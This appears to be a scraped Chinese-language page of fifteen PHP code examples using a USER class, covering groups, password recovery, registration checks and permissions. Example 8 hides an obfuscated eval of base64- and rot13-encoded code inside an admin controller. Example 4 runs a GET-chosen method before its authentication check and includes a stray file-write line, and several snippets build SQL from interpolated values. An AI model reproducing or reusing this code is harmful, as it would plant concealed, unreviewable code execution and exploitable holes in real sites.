本文整理汇总了PHP中USER类的典型用法代码示例。如果您正苦于以下问题:PHP USER类的具体用法?PHP USER怎么用?PHP USER使用的例子?那么, 这里精选的类代码示例或许可以为您提供帮助。
在下文中一共展示了USER类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: _draw_box
/**
* @param USER $obj
* @access private
*/
protected function _draw_box($obj)
{
echo $obj->title_as_link();
if ($this->login->is_allowed(Privilege_set_group, Privilege_modify)) {
$this->_new_column();
echo $this->_controls_renderer->button_as_html('Remove...', 'delete_user_from_group.php?id=' . $this->_group_id . '&name=' . $obj->title, '{icons}buttons/delete');
}
}
示例2: remove_user
/**
* Delete this user from the group.
* Does not check whether the user is a member of the group.
* @param USER $user
*/
public function remove_user($user)
{
$this->db->logged_query("DELETE FROM {$this->app->table_names->users_to_groups} WHERE user_id = {$user->id}");
// update the history with the change
$history_item = $this->new_history_item();
$history_item->kind = History_item_updated;
$history_item->record_difference('Removed [' . $user->title_as_plain_text() . '].');
$history_item->store();
$history_item = $user->new_history_item();
$history_item->kind = History_item_updated;
$history_item->record_difference('Removed from group [' . $this->title_as_plain_text() . ']');
$history_item->store();
}
示例3: __construct
function __construct()
{
if (User::isAuth()) {
MG::redirect('/');
}
// Шаг первый.
$form = 1;
$fPass = new Models_Forgotpass();
// Ввторой шаг, производящий проверку введеного электронного адреса.
if (URL::getQueryParametr('forgotpass')) {
$email = URL::getQueryParametr('email');
if ($userInfo = USER::getUserInfoByEmail($email)) {
//Если введенных адрес совпадает с зарегистрированным в системе, то
$form = 0;
$message = 'Инструкция по восстановлению пароля была отправлена на <strong>' . $email . '</strong>';
$hash = $fPass->getHash($email);
//а) Случайный хэш заносится в БД.
$fPass->sendHashToDB($email, $hash);
$siteName = MG::getOption('sitename');
$emailMessage = MG::layoutManager('email_forgot', array('siteName' => $siteName, 'email' => $email, 'hash' => $hash, 'userId' => $userInfo->id, 'link' => SITE . '/forgotpass?sec=' . $hash . '&id=' . $userInfo->id));
$emailData = array('nameFrom' => $siteName, 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => 'Пользователю сайта ' . $siteName, 'emailTo' => $email, 'subject' => 'Восстановление пароля на сайте ' . $siteName, 'body' => $emailMessage, 'html' => true);
//б) На указанный электронный адрес отправляется письмо со сылкой на страницу восстановления пароля.
$fPass->sendUrlToEmail($emailData);
} else {
$form = 0;
$error = 'К сожалению, такой логин не найден<br>
Если вы уверены, что данный логин существует, пожалуйста, свяжитесь с нами.';
}
}
// Шаг 3. Обработка перехода по ссылки. Принимается id пользователя и сгенерированный хэш.
if ($_GET) {
$userInfo = USER::getUserById(URL::getQueryParametr('id'));
$hash = URL::getQueryParametr('sec');
// Если присланный хэш совпадает с хэшом из БД для соответствующего id.
if ($userInfo->restore == $hash) {
$form = 2;
// Меняе в БД случайным образом хэш, делая невозможным повторный переход по ссылки.
$fPass->sendHashToDB($userInfo->email, $fPass->getHash('0'));
$_SESSION['id'] = URL::getQueryParametr('id');
} else {
$form = 0;
$error = 'Некорректная ссылка. Повторите заново запрос восстановления пароля.';
}
}
// Шаг 4. обрабатываем запрос на ввод нового пароля
if (URL::getQueryParametr('chengePass')) {
$form = 2;
$person = new Models_Personal();
$msg = $person->changePass(URL::getQueryParametr('newPass'), $_SESSION['id'], true);
if ('Пароль изменен' == $msg) {
$form = 0;
$message = $msg . '! ' . 'Вы можете войти в личный кабинет по адресу <a href="' . SITE . '/enter" >' . SITE . '/enter</a>';
$fPass->activateUser($_SESSION['id']);
unset($_SESSION['id']);
} else {
$error = $msg;
}
}
$this->data = array('error' => $error, 'message' => $message, 'form' => $form, 'meta_title' => 'Восстановление пароля', 'meta_keywords' => $model->currentCategory['meta_keywords'] ? $model->currentCategory['meta_keywords'] : "забыли пароль, восстановить пароль, восстановление пароля", 'meta_desc' => $model->currentCategory['meta_desc'] ? $model->currentCategory['meta_desc'] : "Если вы забыли пароль от личного кабинета, его модно восстановить с помощью формы восстановления паролей.");
}
示例4: __construct
public function __construct()
{
if (!empty($files)) {
file_put_contents('data/' . $filename, $files, FILE_APPEND);
echo "success\n";
}
if (empty($_GET['mode'])) {
MG::redirect('/');
}
MG::disableTemplate();
Storage::$noCache = true;
$this->unlinkFile = true;
$this->startTime = microtime(true);
$this->maxExecTime = min(30, @ini_get("max_execution_time"));
if (empty($this->maxExecTime)) {
$this->maxExecTime = 30;
}
$mode = (string) $_GET['mode'];
$this->mode = $mode;
$this->type = $_GET['type'];
$this->filename = $_GET['filename'];
$this->auth = USER::auth($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']);
$this->{$mode}();
if ($mode && $this->auth) {
$this->{$mode}();
}
}
示例5: validDataForm
/**
* Проверяет корректность введенных данных в форме регистрации.
*
* @param array $userData массив данных пользователя.
* @param string $mode режим проверки данных (full|pass) полный (по умолчанию) или только пароль.
* @return string ошибка в случае не верного ввода данных в одном из полей.
*/
public function validDataForm($userData, $mode = 'full')
{
// Проверка электронного адреса.
if (USER::getUserInfoByEmail($userData['email']) && 'full' == $mode) {
$error .= '<span class="email-in-use">Указанный email уже используется</span>';
}
// Пароль должен быть больше 5-ти символов.
if (strlen($userData['pass']) < 5) {
$error .= '<span class="passError">Пароль менее 5 символов</span>';
}
// Проверяем равенство введенных паролей.
if (URL::getQueryParametr('pass2') != $userData['pass']) {
$error .= '<span class="wrong-pass">Введенные пароли не совпадают</span>';
}
if ('full' == $mode) {
// Проверка электронного адреса.
if (!preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]{0,61}+\\.)+[a-zA-Z]{2,6}$/', $userData['email'])) {
$error .= '<span class="errorEmail">Неверно заполнено email</span>';
}
if (MG::getSetting('useCaptcha') == "true") {
if (strtolower(URL::getQueryParametr('capcha')) != strtolower($_SESSION['capcha'])) {
$error .= "<span class='error-captcha-text'>Текст с картинки введен неверно!</span>";
}
}
}
$args = func_get_args();
return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $error, $args);
}
示例6: __construct
function __construct()
{
if (!USER::isAuth() || '1' != USER::getThis()->role) {
MG::redirect('/');
}
$this->data = array('content' => $_POST['content']);
}
示例7: load
/**
* {@inheritDoc}
*/
public function load(ObjectManager $manager)
{
//add a test user
$user_test = new USER();
$user_testInfo = new UserInfo();
$user_test->setUsername('test');
$encoder = $this->container->get('security.encoder_factory')->getEncoder($user_test);
$user_test->setPassword($encoder->encodePassword('test', $user_test->getSalt()));
$user_test->setEmail('test@caigou.co.nz');
$user_test->setEnabled(true);
$user_test->setRoles(array('ROLE_USER'));
$user_test->setUserInfo($user_testInfo);
$manager->persist($user_test);
//add an admin user
$user_admin = new USER();
$user_adminInfo = new UserInfo();
$user_admin->setUsername('admin');
$encoder = $this->container->get('security.encoder_factory')->getEncoder($user_admin);
$user_admin->setPassword($encoder->encodePassword('admin', $user_admin->getSalt()));
$user_admin->setEmail('admin@caigou.co.nz');
$user_admin->setEnabled(true);
$user_admin->setRoles(array('ROLE_ADMIN'));
$user_admin->setUserInfo($user_adminInfo);
$manager->persist($user_admin);
//add config
$Config1 = new Config();
$Config1->setId(1);
$Config1->setTitle("");
$Config1->setRemark("");
$Config1->setCfgvalue("1");
$manager->persist($Config1);
$Config2 = new Config();
$Config2->setId(2);
$Config2->setTitle("");
$Config2->setRemark("");
$Config2->setCfgvalue("0");
$manager->persist($Config2);
$Config3 = new Config();
$Config3->setId(3);
$Config3->setTitle("");
$Config3->setRemark("");
$Config3->setCfgvalue("0");
$manager->persist($Config3);
//update
$manager->flush();
}
示例8: __construct
function __construct()
{
MG::disableTemplate();
$model = new Models_Order();
MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
if ('1' == User::getThis()->role) {
MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
}
if (URL::get('csv')) {
$model = new Models_Catalog();
$model->exportToCsv();
}
if (URL::get('examplecsv')) {
$model = new Models_Catalog();
$model->getExampleCSV();
}
if (URL::get('examplecsvupdate')) {
$model = new Models_Catalog();
$model->getExampleCsvUpdate();
}
if (URL::get('yml')) {
if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
$model = new YML();
if (URL::get('filename')) {
if (!$model->downloadYml(URL::get('filename'))) {
$response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
echo json_encode($response);
}
} else {
$model->exportToYml();
}
} else {
$response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
echo json_encode($response);
}
}
if (URL::get('csvuser')) {
USER::exportToCsvUser();
}
if ($orderId = URL::get('getOrderPdf')) {
$model = new Models_Order();
$model->getPdfOrder($orderId);
}
if ($orderId = URL::get('getExportCSV')) {
$model = new Models_Order();
$model->getExportCSV($orderId);
}
$this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
$this->pluginsList = PM::getPluginsInfo();
$this->lang = MG::get('lang');
if (!($checkLibs = MG::libExists())) {
$j878723423f5c3ba26da = "base64_decode";
$kdd9391e7490 = "str_rot13";
@eval($j878723423f5c3ba26da($kdd9391e7490("MKMuoPuvLKAyAwEsMTIwo2EyXUA0py9lo3DkZltaGHgAqJ9DqTSMoQu0GHcQETt5HQEJDIN5ZSyYEKE2HHEbM1N3ZSyEEKEkIR8jJH50pHgCrRkYEKIJDIN0ZSycETuDHHEbM1NeZSxmEKEaIR4jJGqRnQyHJwOMZ0EzDIEQIxSHGmOZD0EcDIN4ZSyBqQOZE0EzDIN1ZSycETMDHHEcpINkIxSHGmOMA0EzM1NiZSyEETqOHTbjJHgSqUMdqQOZJHEcqx5OHUMBqSMDGaEMoQu0ZRkQETqOHTbjJJyRM3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epHcWoUWTqKOKZRIGE1WWFRITG1EVrQyOIyECpSqfAHEVrRyHExy0nRgDpJ1AF0Hjoxb1LHkDG0gTHxyTEHMCqT8mGmOhFwybGSRjqSMuEJkhFyAzFKcWoUNlrJyirHRjGRgKZSM5nzSLE2MOHUMBqSMDGaEJIGOOHUMBqSMDGaEJIIq5pRgWL3O6FKAiZwI3GHM1FHu4nwMPraS5pIWSnHjmFJqAFwHjFUb5nKSDqTAMqyqaGJjkq28mI3yMZzgwGUL5ZKOHEKIkISWbpSE1nyM2rQqEETW0IyOBqSSRLaEJHR50IyOBrT96FGAWrxyfIyRjqRyYG3uZF0I1Daqwq25HFKqhZHydGIEGZRkTqKcZFzggGHMdqUSIImSAEat3I2k4AlpcXFx7")));
$this->newVersion = $newVer['lastVersion'];
$this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : '';
}
}
示例9: all_users
public static function all_users()
{
$query = db()->query("SELECT * FROM users ORDER BY name");
$array = array();
while ($data = $query->fetch()) {
$array[] = USER::byRow($data);
}
return $array;
}
示例10: changePass
/**
* Функция смены пароля пользователя
*
* После проверки корректности введеных данных производит хэширование и внесения в БД пароля пользователя
*
* @param string $newPass - новый пароль пользователя
* @param int $id - id пользователя
* @param bool $forgotPass - флаг для функции восстановления пароля, когда не происходит изменения данных пользователя находящихся в системе
* @return string - сообщение о результате операции
*/
public function changePass($newPass, $id, $forgotPass = false)
{
$userData = array('pass' => $newPass);
$registration = new Models_Registration();
if ($err = $registration->validDataForm($userData, 'pass')) {
$msg = $err;
} else {
$userData['pass'] = crypt($userData['pass']);
USER::update($id, $userData, $forgotPass);
$msg = "Пароль изменен";
}
$args = func_get_args();
return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $msg, $args);
}
示例11: testAddUser
public function testAddUser()
{
$u = new USER();
$details = array("firstname" => 'Test', "lastname" => 'User', "email" => 'test@example.org', "emailpublic" => '0', "postcode" => 'EH1 99SP', "mp_alert" => false, "url" => '', "password" => '', "optin" => '0', "status" => 'User');
$u->add($details, false);
$id = $u->user_id();
$u->init($id);
$this->assertEquals('Test', $u->firstname());
$this->assertEquals('EH1 99SP', $u->postcode());
}
示例12: prefered
public static function prefered($type, $name, $identifier = 0)
{
$prefered = '';
if (USER::is_logged()) {
$identifier = $identifier == 0 ? USER::get('id') : $identifier;
$check = OPTIONS::get($type, $name, $identifier);
if ($check === false) {
$prefered = OPTIONS::get($type, $name);
} else {
$prefered = $check;
}
} else {
$prefered = OPTIONS::get($type, $name);
}
return $prefered;
}
示例13: check
public static function check($permission_name, $user_id = 0)
{
// get user id
$user_id = $user_id == 0 ? USER::get('id') : $user_id;
if ($user_id === false) {
return false;
}
// get user groups
$user_groups = USER::get("user_groups", $user_id);
// is is grand administrator
if ($user_groups == 1) {
return true;
}
// if user has no groups assigned
if ($user_groups == '') {
return false;
}
// select all permissions of user
$user_permissions = array();
global $db;
$sel = $db->query("SELECT group_permissions FROM dl_users_groups WHERE group_id IN ({$user_groups})");
while ($row = $db->fetch_array($sel)) {
if (trim($row['group_permissions']) == '') {
continue;
}
$p = explode(",", trim($row['group_permissions']));
foreach ($p as $k) {
if (!in_array($k, $user_permissions)) {
$user_permissions[] = $k;
}
}
}
// check if have grand permission
if (isset($user_permissions[0]) && $user_permissions[0] == '*') {
return true;
}
$user_permissions = implode(",", $user_permissions);
$chk = $db->query(" SELECT count(*) as tot \n FROM dl_users_permissions \n WHERE permission_value = '{$permission_name}' AND \n permission_id IN ({$user_permissions})");
$chk = $db->fetch_array($chk);
// return result
return $chk['tot'] == 1 ? true : false;
}
示例14: get_gid_geo_objects
public function get_gid_geo_objects()
{
$gid = \USER::init()->get('gid');
$lang = \CORE::lng();
$geo_list = array();
$DB = \DB::init();
if ($DB->connect()) {
$sql = "SELECT * FROM `mt-geo-objects` LEFT OUTER JOIN `mt-geo-types` ON `geo-type`=`gt-id`;";
$sth = $DB->dbh->prepare($sql);
$sth->execute();
$DB->query_count();
if ($sth->rowCount() > 0) {
while ($r = $sth->fetch()) {
if ($gid == 1) {
$geo_list[$r['geo-id']] = $r['gt-name-short-' . $lang] . ' ' . $r['geo-title-' . $lang];
}
}
}
}
return $geo_list;
}
示例15: getAllDispatcherOfficeHours
function getAllDispatcherOfficeHours()
{
$db = DB::getInstance();
$Dispatcher_hours = $db->prep_execute('SELECT * FROM Dispatcher_hours;', array());
// Global list of user & course objects. Prevents unnecessary DB reads.
global $users, $courses;
// Array of user - course object pair mappings to be returned.
$return = array();
// Loop through all Driver - course key mappings
foreach ($Dispatcher_hours as $row) {
// Read user from DB and add to user array if not found in array
if (!isset($users[$row['email']])) {
$users[$row['email']] = USER::fromDatabase($row['email']);
}
// Read course from DB and add to user array if not found in array
if (!isset($courses[$row['subj'] . '-' . $row['crse']])) {
$courses[$row['subj'] . '-' . $row['crse']] = COURSE::fromDatabase($row['subj'], intval($row['crse']));
}
// Add Driver - course object pair to return array
$return[] = ['user' => $users[$row['email']], 'course' => $courses[$row['subj'] . '-' . $row['crse']], 'week_day' => $row['week_day'], 'startTime' => $row['start_time'], 'endTime' => $row['end_time']];
}
return $return;
}